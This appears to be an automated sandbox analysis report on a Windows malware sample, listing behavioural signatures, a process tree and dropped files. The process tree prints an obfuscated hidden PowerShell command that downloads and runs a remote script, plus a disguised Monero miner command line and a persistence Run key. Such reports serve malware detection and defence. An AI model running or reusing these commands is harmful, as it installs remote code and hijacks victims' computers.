Analysis
- max time kernel
149s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/11/2026, 09:20
General
- Target 2026-11-01_c4521b5e12dcc2ce4429fa0266f0a00f_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc.exe
- Size 5.0MB
- Sample261102-laqstaay6k
- SHA256 7a41c9b5686e2098ef278a80e0eafc36ba12e7a02c52c15776369c36569bbb54
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-01_c4521b5e12dcc2ce4429fa0266f0a00f_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-01_c4521b5e12dcc2ce4429fa0266f0a00f_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc.exe"1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\aljdwm0l.51n.ps1"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kiyqs3ox\kiyqs3ox.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE2C.tmp" "c:\Users\Admin\AppData\Local\Temp\kiyqs3ox\CSC56BD3DC25C864702A3D39C246432281.TMP"5⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bndEF09.tmp.exe"C:\Users\Admin\AppData\Local\Temp\bndEF09.tmp.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
games[1].json
StartupProfileData-NonInteractive
RESFE2C.tmp
__PSScriptPolicyTest_okfdzn2k.m5d.psm1
aljdwm0l.51n.ps1
bndEF09.tmp.exe
kiyqs3ox.dll
CSC56BD3DC25C864702A3D39C246432281.TMP
kiyqs3ox.0.cs
kiyqs3ox.cmdline
memory/1232-1-0x00007FFB23A5F000-0x00007FFB23A60000-memory.dmp
memory/1232-24-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/1232-23-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/1232-19-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/1232-16-0x000001C739A70000-0x000001C739C32000-memory.dmp
memory/1232-15-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/1232-6-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/1232-7-0x000001C720D60000-0x000001C720D82000-memory.dmp
memory/1232-8-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/1232-14-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/1232-18-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp
memory/5632-50-0x000002132D7E0000-0x000002132D80A000-memory.dmp
memory/5632-55-0x000002132D1E0000-0x000002132D1F4000-memory.dmp
memory/5632-51-0x000002132D7E0000-0x000002132D804000-memory.dmp
memory/5632-68-0x000002132D1C0000-0x000002132D1C8000-memory.dmp
memory/5632-69-0x000002132D7B0000-0x000002132D7D7000-memory.dmp
memory/5632-49-0x000002132D1B0000-0x000002132D1BA000-memory.dmp
memory/5632-44-0x000002132D1C0000-0x000002132D1DE000-memory.dmp
memory/5632-45-0x000002132D510000-0x000002132D5C2000-memory.dmp